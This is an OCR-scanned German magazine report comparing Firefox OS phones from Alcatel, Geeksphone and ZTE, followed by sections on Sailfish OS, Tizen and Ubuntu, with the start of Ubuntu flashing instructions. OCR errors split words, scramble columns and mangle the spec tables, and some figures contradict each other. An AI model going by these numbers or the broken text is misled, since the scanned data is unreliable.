elle Tastatur anpassen, wenn ei­
nem eine Taste feh lt. F i refox OS 
ist desha lb  fü r Anwender span­
nend, d ie sich in  den Ökosyste­
men von Goog le, Microsoft und 
App le eingesperrt fühlen. 

I nteressant ist F i refox OS aber 
auch fü r Spa rfüchse: Das System 
ist so optimiert, dass es auch auf 
günstiger Ha rdware prob lemlos 
lä uft. Brauchbare Smartphones 
mit der  nötigen Grundausstat­
tung g ibt es schon ab 60 Euro. 

Oberfläche 

Im  Pr inzip i s t  F i refox OS n ichts 
anderes als e in aufgeblasener Fi­
refox-Browser: Auf einem Linux­
Kernel läuft d ie  Browser-Engine 
Gecko a l s  Runt ime fü r Apps, d ie 
auch im Desktop-Browser F i refox 
steckt. Das Smartphone-lnterface 
mit Sta rtbi ldschi rm, Telefon-App, 
Ka rtendiensten und E inste l lme­
nüs heißt Gaia und ist ausschl ieß­
lich mit offenen Webtechn iken 
umgesetzt. 

Dass man sich d ie ganze Zeit 
i n  einem Browser bewegt, merkt 
man a l s  Nutzer aber nicht . 
Schnittste l len ermög l ichen dem 
I nterface und i nsta l l ierten Apps 
einen e ingeschränkten Zug riff 
auf d ie Smartphone-Ha rdware. 
Die Entwickler haben sich dabei 
sta rk an  Android or ientiert; wer 
das kennt, fi ndet s ich auch 
schne l l  i n  F i refox OS zu recht. 
Vom Funktionsumfang her füh l t  
es s ich aber wie eine der ersten 
And roid-Versionen an: ln der Ka­
mera-App beispie lsweise kann  
man weder d ie  Fotog röße e in-

1 1 0 

ste l len noch verschiedene Fa rb­
fi lter verwenden, das Ad ress­
buch importiert Kontakte aus  
untersch ied l ichen Que l len, syn­
chronis iert s ie aber n icht. Das 
System füh rt e inen getrennten 
Speicher fü r Apps, der  auf den 
meisten Geräten nur 1 GByte 
groß ist und nicht per SD-Ka rte 
erweitert werden kann .  

Fi refox OS erinnert mit  seiner 
sch l ichten Optik an  frühere 
Android-Versionen. 

haben einen tieferen Zugriff auf 
die Smartphone-Funktionen. 

Wer s ich mit Webtechn iken 
auskennt, kann  eigene Apps ent­
wicke ln .  Sogenannte "Hosted 
Apps" werden wie eine mobi le  
Webseite per URL aufgerufen 
und benötigen eine l nternetver­
b indung .  "Packaged Apps" kön­
nen als Paket auf dem 
Smartphone insta l l iert werden; 
s ie la ufen auch offl i ne  und 

Mozi l l a  hat einen Marketplace 
fü r Apps eingerichtet. Bisher g ibt 
es dort vor a l l em kosten lose An­
wendungen, d ie d ie mobilen An­
sichten von Facebook, Twitter 
und anderen Webseiten auf d ie 
F i refox-Smartphones br ingen .  
Sp ie le  s ind sehr selten, aufwen­
digere Office- oder Navigations­
Softwa re feh l t  b isher komplett 
und auch WhatsApp, Evernote, c't Video: ct.de/yyyr 

Laufzeiten 
Video (normale Hel l igkeit) 
[h] be<se• • 

Video (max. Hel l igkeit) 
[h] besse. • 

3D-Spiel (normale Hel l igkeit) WLAN-Surfen (normale Hel l ig-
[h] be<se• • keit) [h] bessa • 

Alcatel One Touch Fire E 5,1 4,5 4,2 
Geeksphone Revolution 6,1 5,5 3,6 
ZTE Open C 4,6 4,3 3,6 

----- 6,8 
----· 6,2 

Normale Hel l igkeit: 200 cdlm2, Video: 320 x 240 Bi ldpunkte, Spiel: Cut The Rope, Surfen: Abruf einer Standard-Webseite al le 30 s 
���- 5,5 

Firefox-Smartphones 
Modell OneTouch Fire E Revolution Open ( 

Herstel ler Alcatel, alcatelonetouch.com Geeksphone, geeksphone.com ZTE, ztedevice.com 
Betriebssystem Firefox OS 1 .3.0 Firefox OS 1 .3.0 (alternativ Android Firefox OS 1 .3.0 (alternativ Android 4.4) 

4.2.2 und CyanogenMod 1 1 )  
Prozessor I Kerne / Takt Snapdragon 200 I 2 I 1 ,2 GHz Intel Atom Z2560 I 2 I 1 ,6 GHz Snapdragon 200 I 2 I 1 ,2 GHz 
RAM I Flash-Speicher (frei) I SD-Siot 5 1 2  MByte I 4 GByte (1 ,8 GByte Medien 1 GByte I 4 GByte (2,3 GByte für Apps, 5 1 2  MByte I 4 GByte (0,9 GByte Medien 

+ 1 GByte Apps) I MicroSD Medien nur via zusätzlicher 50-Karte) I + 1 GByte Apps) I MicroSD 
MicroSD 

WLAN I Dual-Band IEEE 802.1 1 n l - IEEE 802. 1 1 n  I - IEEE 802.1 1 n l -
Bluetooth I N FC / GPS 3.0 1 - lv 3.0 1 - l v  3.0 1 - lv 
mobile Datenverbindung 1 HSPA (42,2 MBitls Down, 5,76 MBitls Up) HSPA (21 MBitls Down, 5,76 MBitls Up) HSPA (21 MBitls Down, 5,76 MBitls Up) 
Akku: Kapazität I austauschbar I 1 700 mAh I - I - 2000 mAh lv I - 1400 mAh l v  I -
drahtlos ladbar 
Abmessungen (H x B x T) I Gewicht 1 3,9 cm x 6,8 cm x 1 cm I 1 3,9 cm x 7 cm x 1 cm I 1 5 1  g 1 3,9 cm x 7 cm x 1 cm / 1 5 1  g 

ca. 130 g (je nach Cover) 
Kamera-Auflösung Fotos I Video 2592 X 1 944 (5 MPixel) I 352 X 288 2560 x 1 920 (4,9 MPixel) I 1 280 x 720 2048 x 1 536 (3, 1 MPixel) I 352 x 288 
Autc;- I Touchfokus I Fotoleuchte (Anz.) v l - l v (1 )  v l - lv (1 )  - 1 - 1 -
Frontkamera-Auflösung Fotos I Video 352 X 288 I 352 X 288 1 280 X 720 1 352 X 288 
Display-Messungen 

Technik I Größe (Diagonale) LCD ( I  PS) I 10 cm X 5,6 cm (4,5 Zoll) LCD ( I  PS) I 1 0,3 cm x 5,8 cm (4,7 Zoll) LCD I 8,7 cm x 5,2 cm (4 Zoll) 
Auflösung I Seitenverhältnis 960 x 540 Pixel (244 dpi) I 1 6:9 960 X 540 Pixel (237 dpi) I 1 6:9 800 x 480 Pixel (234 dpi) I 1 6:9 
Hel l igkeitsregelbereich I Ausleuchtung 21 . . .  325 cdlm2 I 81 % 7 . . .  305 cdlm2 I 92 % 21 . . .  238 cdlm2 1 85 % 
Kontrast I Farbraum 1 038:1 I ungefähr sRGB 856:1 I sRGB 1 1 82:1 I schlechter a ls sRGB 
Straßenpreis 90 € 150 € 80 € 
1 Herstel lerangabe v' vorhanden - nicht vorhanden 
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F i refox-Smartphones 

Alcatel OneTouch Fire E 

Dem Plastikgehäuse des Alcatel OneTouch 
F i re E sieht man an, dass es kein  H igh-End­
Smartphone ist .  Trotzdem ist es gut  verar­
beitet, füh l t  sich wertig an und wirkt mit 
seinem weiß-orangefa rbenen Gehäuse 
unter den F i refox-Smartphones schick. E in 
nettes Deta i l :  S IM- und SD-Siot s ind im 
g leichen Schacht versteckt. 

Das F i re E hat eine verg leichsweise gute 
Ausstattung mit 4 GByte F lash, S 1 2 MByte 
RAM und einem Duai-Core-Prozessor. Fü r  
e in 90-Eu ro-Smartphone geht  auch das  
Display in  Ordnung :  Es  hat  244 dpi, zeigt 
schöne Fa rben und einen ordentl ichen 
Kontrast. Die F i refox-Oberfläche läuft ver­
g leichsweise fl üssig, beim schne l len Wech­
sel n zwischen Apps oder in  den wenigen 
verfügba ren Spie len bemerkt man aber 
immer wieder Ruckler. 

Die Fotoqua l ität der 5-Megapixei-Kamera 
reicht fü r Facebook-Schnappschüsse aus, 
a l lerd ings zeigen d ie Fotos sta rkes 
Rauschen und einen leichten Rotstich. 
Bei schlechter Beleuchtung ge l i ngt kaum 
ein Foto. Videos n immt s i e  nu r  mit 
352 x 288 B i ldpunkten und einer so 
schlechten Qua l ität auf, das man sie 
höchstens in  Briefmarkengröße ab­
spielen möchte. Noch miserab ler  ist d ie 
Video- und Fotoqua l ität der Vorderseiten­
kamera. 

Die Laufzeiten b le iben weit h i nter dem 
Smartphone-Du rchschn itt zurück. 
Von den F i refox-Geräten läuft es mit 
vier bis s ieben Stu nden noch am 
längsten. 

Bewertung 

0 g ute Ausstattung fü r 90 Euro 
0 schickes, gut vera rbeitetes Gehä use 
0 ku rze La ufzeit 
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Geeksphone Revolution 

Das 1 50 Euro teure Geeksphone ist schon 
etwas länger auf dem Markt. Für Auspro­
bierer und Entwickler b le ibt es interessant, 
denn man kann  zwischen Android und 
F i refox OS wechse ln .  Der spanische Her­
ste l ler  bietet a uf seiner Webseite I nsta l la­
t ionspakete fü r Android 4.2.2, Cyanogen­
Mod 1 1  und F i refox OS 1 .3 an. Dua l  Boot 
geht bei dem Geeksphone aber n icht, der 
Wechsel erfordert das Zurücksetzen des 
Geräts und dauert je nach System zwi­
schen 1 0  und 20 Minuten. 

Das Display löst mit nur 234 dpi  auf und ist 
mit 4,7 Zol l  Diagona le g rößer als das der 
übrigen F i refox-Smartphones. Daher ist 
das Smartphone recht breit und nicht so 
hand l ich wie das Alcatel oder das ZTE. 

Unter den d rei F i refox-Smartphones hat es 
die beste Ha rdware, ist im Android-Ver­
g leich aber ebenfa l l s  nu r  maximal untere 
Mitte l klasse: 1 GByte RAM, ein Duai-Core­
Prozessor von I ntel und 4 GByte Speicher. 
Von Letzterem s ind nur 2,3 GByte fü r den 
Nutzer verfügbar und komplett fü r Apps 
reserviert. Das Speichern von F i lmen, 
Musik oder anderen Medien erfordert 
desha l b  e ine zusätzl iche 50-Ka rte. 

Die 8-Megapixei-Kamera schießt unter 
Android verg leichsweise gute Fotos mit 
wenig Rauschen, die fü r e in Smartphone in 
der Preisklasse o.k. sind - in F i refox OS 
reduzierte sich die Auflösung auf 5 Mega­
pixel und die Bi lder wirkten deut l ich 
schlechter. Unter F i refox l ief das 
Smartphone halb so lange wie unter An­
d roid - enttäuschend. 

Bewertung 

0 kom patibel m it Android oder  F i refox OS 
0 verg leichsweise g ute Ausstattung 
0 ku rze La ufzeit 
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ZTE Open C 

Das Open C ist das b i l l igste F i refox­
Smartphone und eines der günstigsten 
Smartphones überhaupt: Für 60 Euro be­
kommt man sonst nur gebrauchte Geräte. 
Die Ha rdware ist mickrig, doch F i refox OS 
und der Browser laufen darauf überra­
schend fl üssig. Trotzdem muss man i n  fast 
a l len Apps Ruckler i n Kauf nehmen und fü r 
Besitzer e ines H igh-End-Smartphones füh l t  
es s ich langsam an .  Auf dem Touchscreen 
vert ippten wir uns öfters. 

Abstriche muss man an a l len Ecken und 
Enden in  Kauf nehmen:  Der Speicher ist 
klein, der Prozessor langsam, die Ausstat­
tung schlecht. Das Display löst mit 234 dpi 
auf, ist b l ickwinkelabhängig und erreicht 
nicht e inmal  den sRGB-Fa rbraum.  Obwohl  
es kle iner a l s  das vom Alcatel OneTouch 
ist, kommt das Gerät auf ähn l iche Gehäu­
semaße, wei l so viel Rahmen ums Panel 
gelassen wu rde. 

Die Akku laufzeit ist deutlich kü rzer als die 
eines Android-Smartphones und die Kame­
ra ist ein Witz: Die 3-Megapixei-Fotos rau­
schen sta rk und sind bestenfa l l s  zu gebrau­
chen,  wenn die Lichtverhältnisse idea l  s ind 
- einen Bl itz g ibt es nicht. Videos haben 
wie beim Alcatel eine viel zu niedrige Auf­
lösung und eine Vorderseitenkamera feh lt. 

Alternativ ste l l t  ZTE fü rs Open C ein An­
d roid-ROM mit dem verg leichsweise aktu­
el len Android 4.4.2 zur Verfügung .  Das 
läuft a uf dem Gerät einigermaßen fl üssig, 
zum Wechse ln zwischen den Betriebs­
systemen muss man das Smartphone 
komplett zurücksetzen .  

Bewertung 

0 seh r  preiswert 
0 seh r  ku rze La ufzeit 
0 sch lechte Ausstattung 
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Report I Smartphone-Systeme: Sai lfish OS 

Keywa n Tonekaboni  

Das Anpassbare 
Sai lfish OS:  Smarte Gestensteueru ng, 
Code u nd H a rdwa re a n passen er l a u bt 

Die Oberfläche von Sai lfish OS sieht schick aus 
und wird über Gesten bedient. Unter der Haube 
steckt e in vol lwertiges L inux m it Root-Zugriff 
- e in  Traum fü r Bastler. Dennoch laufen 
Android-Apps fast ohne Einschränku ngen 
und Out-of-the-Box. 

S teven E lop krempelte Nokia 
201 1 komplett um :  Künftig 

sol lten Nokia-Smartphones nu r  
noch m i t  Windows Phone laufen, 
andere Betriebssysteme wa rf er 
kurzerhand über Bord. Das miss­
fie l  vie len Mita rbeitern, die i h re 
jahre lange Arbeit am  L inux-ba­
s ierten Betriebssystem MeeGo 
nicht aufgeben wol lten. Sie sta r­
teten unter dem Namen Jo l l a  
e ine e igene F i rma und kombi­
n ierten d ie  Open-Sou rce-Kom­
ponenten von MeeGo und das 
Community-Projekt Mer zu einem 
neuen Betriebssystem, Sai lfish OS. 
Ende 201 3 feierte das Jol la Phone 
Premiere, das erste Smartphone 
mit Sai lfish OS. 

Sai lfish OS wi l l  anders sein; 
nicht nur optisch, sondern auch 
bei der Bedienung, d ie sta rk auf 
Gesten setzt: E in Wisch von der 
Seite der Bi ldschirmkante mi-

Auf dem Homescreen laufen 
Apps in  einer Min i-Ansicht 
weiter und können darüber 
gesteuert werden. 
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nimiert die laufende Anwendung, 
einer von oben beendet sie. 
Wischt man von unten i n  den 
Bi ldschi rm, so erscheint die Nach­
richtenzentra le. Zur Navigation 
innerha lb  der Apps und auf dem 
Homescreen wischt man inner­
ha l b  des B i ldschirms und nicht 
vom Rand. Jol la hat viele clevere 
Deta i l s  eingebaut, die beispiels­
weise das Wechsel n zwischen 
Apps erleichtern, ohne dass man 
sie g leich sch l ießen muss. 

M in im ierte Apps erscheinen 
auf dem Homescreen a ls  Kacheln, 
zeigen Status-lnformationen und 
laufen weiter, solange genügend 
Speicher vorhanden ist. Man kann 
sie min imiert sogar weiter bedie­
nen, denn auch die Kacheln un­
terstützen kle ine I nteraktionen 
du rch Wischen. Der Mus ik-Piayer 
beispielsweise sta rtet oder pau­
s iert mit  e inem Wisch nach 

Die Anzah l  nativer Apps 
im Jol la Store ist gering, 
man kann  aber auch 
Android-Apps insta l l ieren. 

rechts und springt mit e iner 
Bewegung nach l i nks zum 
nächsten Tite l .  

Im offizie l len Jo l l a  Store g ibt es  
zwar nur  e in paar  hundert An­
wendungen, aber  Jo l l a  bietet mit  
A l ien Dalvik e ine eigene Laufzeit­
umgebung fü r And roid-Apps. 
Diese laufen ohne Anpassungen 
ebenso schnel l  wie unter Android 
bei g leichwertiger Ha rdware. 
Dazu lädt man einfach die I nsta l­
lations-Datei der App (APK) oder 
insta l l iert sich a lternativ einen An­
droid-App-Store. Die Shops Yan­
dex und Aptoide gibt es di rekt im 
Jo l la Store, manue l l  bekommt 
man auch F-Droid oder die Goo­
gle Dienste inklusive Goog le Play 
Store (a ls Gapps-Paket für Cyano­
genmod) auf sein Jo l la  Phone. 
Daneben g ibt es mit den Open­
Repos und Warehause auch Pa­
ketque l len fü r die L inux-Soft­
wareverwa ltung. 

Spielwiese fü r Bast ler  

Wer gerne sel bst am Code tri­
ekelt und sich mit L inux aus­
kennt, schätzt den leichten und 
offenen Zugriff aufs System. Root 
ist man mit nu r  e inem Knopf­
druck i n  den E instel l u ngen und 
kann  s i ch  danach i n  der Termi­
na i-App oder per SSH über USB 
oder WLAN austoben. L inux-Nut­
zer fi nden bekannte Too ls  wie 
Systemd, bash, oder rpm. Anders 
a l s  bei And roid, iOS oder Win­
dows Phone passt man sein Be­
triebssystem dadurch auch an  
tieferen Stel len sel bst an, insta l ­
l iert e igene Tastatu rlayouts oder 
benötigte Pakete fü r den L inux­
Unterbau einfach händ isch. Auch 
kle inere Feh ler im Betriebssys­
tem beseitigt man so einfach 
sel bst, statt auf die Updates des 
Herste l lers warten zu müssen. 

Die Community tauscht Tipps 
und Tricks auf der offiziel len Platt-

form together.jo l la .com, wo auch 
Jol la-Mita rbeiter mitdiskutieren 
und Lösungsvorsch läge fü r Up­
dates übernehmen. Aber auch 
das aus a lten Nokia-Zeiten beste­
hende Forum ta l k.maemo.org 
wird von der Sai lfish-Community 
mitgenutzt, denn nicht wenige 
a lte Maemo- und MeeGo-Nutzer 
haben jetzt auch ein Jo l la­
Smartphone. 

Hardware 

Das einzige Smartphone von 
Jo l l a  ist verg le ichbar mit güns­
t igeren And roid-Mode l len .  Es 
heißt Jo l l a  Phone, kostet 250 
Euro und g lä nzt nicht gerade bei 
den Spezifi kat ionen - lässt s ich 
im Al ltag aber gut nutzen (einen 
ausfüh r l ichen Test fi nden Sie 
über den c't-L ink unten) . Jo l l a  
hat es zudem se i t  Verkaufssta rt 
mit  fast monat l ichen Updates 
versorgt. Eine Besonderheit am 
Jo l la Phone sind die Strom- und 
Datenansch lü sse auf der Rück­
seite für d ie erweiterbaren Wech­
sel-Cover. Jo l la  sel bst lässt d ie 
Idee a l s  Accessoire ohne Funk­
tion verkommen, aber die Com­
mun ity hat darüber unter ande­
rem schon Solar-Ladepanels, ein 
zusätzl iches OLED-Display auf 
der Rückseite und eine Hard­
ware-Tastatur rea l is iert. 

Um vorhandene Android-Trei­
ber auch fü r Sai lfish OS nutzen zu 
können, hat Jolla d ie Kompatibi­
l itäts-B ib l iothek l ibhybris ent­
wickelt. Dadu rch kann  Sai lfish OS 
zumindest theoretisch auf jedem 
üb l ichen Android-Gerät laufen. ln 
der Praxis muss man aber deut­
l iche Einschnitte in Kauf nehmen, 
wie e ine Tabel le im Mer-Wiki 
zeigt (siehe c't-Link) .  Im Novem­
ber füh rte Jo l la eine erfo lgreiche 
Crowdfunding-Kampagne fü r ein 
Tablet du rch. Dieses so l l  im Mai 
mit Sai lfish OS 2.0 ausgel iefert 
werden. 

Für Bast ler, trotzdem 
komfortabel 

Wer Goog le, App le und Micro­
soft meiden möchte und den­
noch bel iebte Apps nutzen wi l l, 
fi ndet in Sai lfi sh OS e ine u nge­
wöhn l iche und zugleich Al ltags­
ta ug l iche Alternative. L in ux­
Kenner  können da rüber  h inaus  
auch unter der  schönen Ober­
fläche nach Bel ieben stöbern. 

(acb@ct.de) 

c't: Mer-Wiki und 
Test Jo l la Phone :  ct.de/ykb 1 
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Report I Smartphone-Systeme: Tizen 

Ach i m  Barczok 

Das Universel le 
Tizen:  Betriebssystem von Smartphone bis  M i krowe l l e  

Seit Jahren versuchen I ntel u n d  Samsung, e inen Konkurrenten z u  d e n  etabl ierten 
Smartphone-Betriebssystemen ins Rennen zu sch icken.  Das daraus entstandene 
Projekt Tizen ist vielversprechend - nur e in Tizen-Smartphone kann  man bisher in  
Deutsch land noch n icht kaufen.  

T izen sta rtete a l s  Smartphone­
Betriebssystem, doch g ibt es 

inzwischen Vers ionen fü r Tab­
lets, Smartwatches, Mu lt imedia­
Systeme in  Autos, Smart-TVs und 
andere Geräte. D iese F lexib i l ität 
und Vielfa l t  ist gewo l l t  und ge­
hört zu den Hauptzie len des 
dah interstehenden Konsortiums 
aus  d iversen Herste l l ern, von 
denen vor a l l em Samsung und 
I ntel d ie Tizen-Entwickl ung vor­
antreiben. Im Pr inz ip so l l  Tizen 
fü r a l l e  vernetzten Geräte an­
passba r sei n :  Auf se iner Wiki­
Seite sprechen d ie Macher auch 
von Druckern, B lu- ray-P iayern 
und soga r Mikrowe l len und  
Waschmasch inen.  

Doch ausgerechnet beim u r­
sprüng l ichen Fokus Smartpho­
nes hat s ich bisher kaum etwas 
getan, bis vor e in igen Wochen 
das Samsung Z 1  auf den Ma rkt 
kam.  Es ist das erste kommerzie l l  
erhä l t l iche Smartphone, Sam­
sung verkauft es bisher aber nur 
i n  I nd ien .  Das 80 Euro teure Tele-

Tizen tei lt die Oberfläche 
wie Android in  einen Sta rtbi ld­
schirm mit Widgets und ein 
App-Menü ein .  

c't 20 1 5, Heft 5 

fon r ichtet s ich mit  4 GByte 
Speicher, e iner  3-Mega pixei­
Kamera und einem Dua l eare­
Prozessor an  Leute mit kle inem 
Geldbeutel .  F ü r  den asiat ischen 
Markt typisch ist es e in  Dua i ­
S IM-Handy. 

Das System ist nicht nur offen 
für unterschied l iche Gerätetypen. 
Viele Tei le des Quel l texts s ind 
Open Source, und das Konsor­
t ium versteht sich a l s  offene 
Gemeinschaft, die sich kla r  gegen 
die von einzelnen Unternehmen 
kontro l l i e rten Betr iebssysteme 
And roid, iOS und  Windows 
Phone position ieren wi l l .  Unter­
nehmen können sich an der Ent­
wickl ung des Codes betei l igen 
und die einzelnen Tei le so zusam­
menstel len, wie sie es fü r ih re 
Geräte gerade benötigen. 

Tizen entstand aus einer lan­
gen Historie gescheiterter Versu­
che, eigene Mobi l -Betriebssyste­
me zu entwicke ln .  So flossen im 
Laufe de r  Zeit d ie Bemühungen 
von Nokia (Maemo), I ntel (Mo-

! Clea r  a l l  

m Ca l end a r  

I 
t Tizen Sto re 

I 
� Gallery 

.l \\  I nternet 

� Co ntacts 

1� (@• Weather 

Übersichtl ich: Ein langer 
Tipp auf die Horne-Taste 
öffnet den chronologisch 
sortierten App-Verlauf. 

b l in  und MeeGo), der LiMo­
Foundation (L iMo) und Samsung 
(Bada OS) zu Tizen 2.0 zusam­
men. Von d iesem Mischmasch 
hat Tizen profit iert: So s ind bei­
spie lsweise die schicke Ober­
fläche von MeeGo mit dem 
Funkt ionsumfang von Bada zu­
sammengekommen, Entwickler 
können Tizen-Apps fü r das 
u rsprüng l iche Web-F ramewerk 
von Tizen (HTML5, CSS und Java­
Script) oder das native F rame­
werk von Bada (C++) entwicke ln .  

Schwer zu bekommen 

l n  Deutsch land kommt man 
weder an  das Samsung Z1 , noch 
g ibt es nennenswerte Partierun­
gen auf andere Smartphones. 
Als Nutzer b le ibt einem desha l b  
nu r, se lber zu portieren (n ichts 
fü r E insteiger), s ich im Emu lator 
des Developer-Kits fü r Tizen um­
zuschauen oder das Z 1  über  
Samsungs Developer-Seite aus  
der  Fe rne  auszuprobieren. Was 

Tizen läuft nicht nur  auf 
Smartphones, sondern auch 
auf Smartwatches wie der 
Samsung Gear S. 

Das bisher einzige Tizen­
Smartphone Zl  ist nur in  
I ndien erhält l ich. 

man dort zu sehen bekommt, ist 
aber vielversprechend. 

Durch d ie vie le Vorarbeit in 
MeeGo und Bada ist Tizen schon 
jetzt funkt ionsreicher als bei­
sp ie lsweise F i refox OS oder 
Ubuntu.  Man kann d iverse Kon­
ten wie Dropbox, Exchange Acti­
ve Sync oder Goog le e inbinden, 
Kontakte und Adressen synchro­
nis ieren und in der Kamera-App 
von B i ldgröße über Weißab­
g leich bis Orts-Tags fast a l les ein­
stel len .  Die Oberfläche ist schick 
und hat s ich d ie runden lcons 
der  späten Meego- und Symbi­
an-Versionen abgeschaut. I nno­
vative Bed iene lemente wie bei 
Sai lfish OS oder Ubuntu g ibt es 
aber nicht. 

Tizen untertei lt das I nterface in 
e inen Startbildschirm mit Widgets 
und Web Apps sowie e in Menü 
mit nativen Apps. Letztere erreicht 
man, indem man die Schnel lsta rt­
le iste nach oben wischt. Neue 
Nachrichten s ind über d ie Benach­
richtigungsleiste ebenso erreich­
bar wie Schalter fü r WLAN oder 
die He l l igkeitsregelung. 

Wenig Apps findet man im Ti­
zen Store, der sich derzeit vor a l ­
lem für den ind ischen Markt be­
fü l lt. Immerhin werdenjetzt schon 
WhatsApp, Dropbox und andere 
Dienste unterstützt, fü r die es bei 
anderen Underdog-Systemen bis­
her keine native Software g ibt. 

Unterm Strich br ingt Tizen 
damit eigentl ich die meisten Vo­
raussetzungen fü r e in erfo lg rei­
ches Smartphone-Betriebssys­
tem mit. Jetzt feh l t  h ierzu lande 
nu r  noch das Smartphone. 

(acb@ct.de) c'l: 
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Report I Smartphone-Systeme: Ubuntu 

Dr. Ol iver Diedrich 

Das Schicke 
U b u ntu fü r S m a rtphones u n d  Ta blets 

Was lange wä h rt . . .  : Gut d rei  Jah re nach der  ersten 
Ankünd igung steht das erste U bu ntu-Smartphone vor 
der Tür. Das mobi le L inux enthält e ine Reihe innovativer 
Ideen u nter e iner ansehn l ichen Oberfläche. 

U bu ntu macht e in iges an ­
ders a l s  d ie Konku rrenz. Das 

mobi le  Linux kommt ganz ohne 
Horne-, Windows-, Zurück-, Mu l ­
t itaski ng- oder Such-Taste aus .  
An deren Ste l l e  treten Wisch­
gesten, an  d ie man s ich schne l l  
gewöhnt  - ich habe nach zwei 
Tagen mit e inem Ubuntu-Phone 
ganz i nsti n ktiv versucht, auch 
auf dem And roid-Tab let d ie  Tas­
tatu r  nach u nten wegzuwi­
schen. 

E ine Besonderheit von Ubun­
tu s ind d ie Scopes, ein Zwischen­
d ing aus Android-Widgets und 
Apps, um I nformationen d i rekt 
auf dem Homescreen anzuzei­
gen und zu bea rbeiten. E ine 
übera l l  verfügba re S idebar ge­
währt schne l len  Zug riff auf d ie 
am häufigsten genutzen Apps. 
Web-Apps i ntegrieren s ich ge­
nauso gut in  das System wie na­
tive Ubuntu-Apps, und Bast ler 
finden unter der schicken Ober­
fläche ein richtiges L inux - Root­
Zugang inkl usive. 

Ubuntu insta l l ieren 

Obwohl  der Canon ica i-Grün­
der und Ubuntu-Mäzen Mark 
Shuttleworth die ersten Ubuntu­
Smartphones bereits für Oktober 
201 3 versprach, g ibt es derzeit 
noch keine Geräte zu kaufen. Die 
Crowdfunding- ln itiative, mit der 
Canonical im Sommer 201 3 d ie 
Entwickl ung des Ubuntu-Smart­
phones Edge finanzieren wol l te, 
brachte nicht e inmal  die Hälfte 
der angepeilten 32 Mi l l ionen US­
Dol lar zusammen. Immerhin: Am 
24. Februa r wi l l  der spanische 
Herste l ler  Bq i n  München das 
erste Ubuntu-Smartphone vor­
ste l len (angekünd igt wa r es 
schon für 201 4). Bis das Gerät tat­
säch l ich zu kaufen ist, muss man 
jedoch noch sel bst Hand an­
legen,  wenn man Ubuntu auf 
e inem Mobi lgerät erleben wi l l .  

Eines fü r a l les 

Mit der Portierung von Ubuntu 
auf Mobi lgeräte verfolgt Canoni­
ca l se ine Vis ion einer e inheit-

Der Begrüßungsschirm von 
Ubuntu fü r Smartphones zeigt 
an, was inzwischen los war. 

I i chen Oberfläche fü r u nter­
schied l iche Geräte. Tatsäch l i ch 
fi nden Anwender, d ie  Ubuntu 
auf dem Desktop kennen, e in ige 
bekannte Bedien- und Des ign­
e lemente auch auf  dem Sma rt­
phone.  Beispie l  Ubu ntu-La un­
cher :  D ie Schne l l start le i ste fü r 
häufig genutzte Apps, d ie  in Art 
des OS-X-Docks auch a l l e  gera­
de laufenden Anwendungen an­
zeigt, lässt sich als Sidebar du rch 
Wischen vom l i nken Bi ldschirm­
rand e inb lenden .  Das funktio­
n iert auf dem Homescreen 
ebenso wie i n  Apps. Auf dem 
Ubuntu-Desktop wird der Laun-

eher standardmäß ig  am l i n ken 
B i ldschirmrand e ingeblendet. 

Auch d ie Scopes g ibt es schon 
länger auf dem Ubuntu-Desktop. 
Wer mit Goog le sucht, kennt das 
Pr inzip: Neben der a l lgemeinen 
Trefferseite g ibt es e igene Seiten 
mit News, B i ldern, Videos, Shop­
ping-Angeboten, Büchern oder 
Apps. Ähn l ich ist das bei Ubuntu: 
Standardmäßig zeigt der Home­
screen, den man über das Ubun­
tu- lcon unten im  Launeher er­
reicht, e ine Übersicht der insta l ­
l i e rten Apps, auf Wunsch nach 
Kategorien sortiert. Wischt man 
nun m itten auf dem Disp lay 
nach l i nks, wechselt man zu 
einem anderen Scope: Videos 
(auf dem Gerät und aufYouTube), 
Mus ik  ( ink lus ive e in iger On l i ne­
Dienste), Wikipedia-Artikel, das 
aktue l le  Wetter. 

Der Ubuntu App Store hä l t  
rund 50 Scopes vor .  Fast a l l e  bie­
ten e ine Suchfunktion, v ie le a r­
beiten kontextsensit iv und be­
rücksichtigen beispielsweise den 
aktue l len Ort. Sie zeigen die Auf­
gaben I i ste oder d ie  nächsten 
Termine an, finden auf Ye lp oder 
OpenStreetMap Orte i n  der 
Nähe, präsentieren aktue l l e  
Sch lagzei len, RSS-Feeds oder 
den e igenen l n stag ram-Stream, 
zeigen die j üngsten Xkcd-Ca r­
toons oder ausgewäh lte Börsen­
kurse an. Android-User können 
s ich das vorste l l en wie bessere 
Widgets, die den ganzen B i ld­
schi rm e innehmen und auf zu­
sätz l ichen B i ldsch i rmen neben 
dem Homescreen l iegen.  Der 

Offizie l l  unterstützt der Ubuntu-Herste l ler  
Canonical led ig l ich d ie Goog le-Geräte 
Nexus 4 (mako), Nexus 7 201 3 WLAN (flo) 
und Nexus 1 0  (manta). Fü r  viele weitere 
Smartphones und Tablets g ibt es a l lerd ings 
schon Partierungen (siehe c't-Li nk) .  Beim 
F lashen des Ubuntu- lmage wird der ge­
samte Speicher des Geräts gelöscht; zu­
mindest auf d ie Goog le-Geräte kann man 
später aber wieder Android aufspie len. Wi r 
beschreiben im Folgenden die I nsta l lation 
auf einem Nexus 4 mit Android 5 (Kitkat). 

sudo add-apt-repository universe 
sudo apt-get update 

taste bestät igen müssen. Achtung :  

Ubuntu fü r Smartphones lässt s ich nur  aus 
einem aktue l len Desktop-Ubuntu heraus in­
sta l l ieren. Der Betrieb in  einer vi rtue l len Ma­
schine reicht nicht aus, in  einer Ubuntu-VM 
unter VMware bl ieb der F lash-Prozess zu­
verlässig hängen. ln Ubuntu müssen einige 
Programmpakete nachinsta l l iert werden: 

1 1 4 

sudo apt-get install android-tools-adbj 
a ndroid-tools-fa stboot u bu ntu-device-fla sh 

Wenn Sie auf dem Android-Gerät d ie Da­
tenversch lüssel ung aktiviert haben, ist 
zunächst e in Reset auf die Werkseinstel l un­
gen nötig .  Außerdem müssen Sie in den 
Entwickleroptionen das USB-Debugging 
er lauben. Testen Sie den Zugriff mit 

adb shell cat system/build.prop 

Fahren Sie das Nexus 4 nun  herunter und 
sta rten Sie mit der Tastenkombination Lei­
ser+Power i n  den Bootloader. Der Befeh l  

sudo fastboot oem unlock 

entsperrt den Boot loader, was S ie am 
Telefon m i t  Lautstä rkewippe und Power-

Spätestens dabei werden a l l e  Daten 
ge löscht. 

Der Befeh l  

sudo fastboot reboot -bootloader 

füh rt einen Neusta rt in in den Bootleader 
du rch. Nun können Sie mit 

ubuntu-device-flash --channel=stable --bootstrap 

die stabi le RTM-Version (Release To Manu­
factur ing) aufspie len. Wer d ie aktue l le 
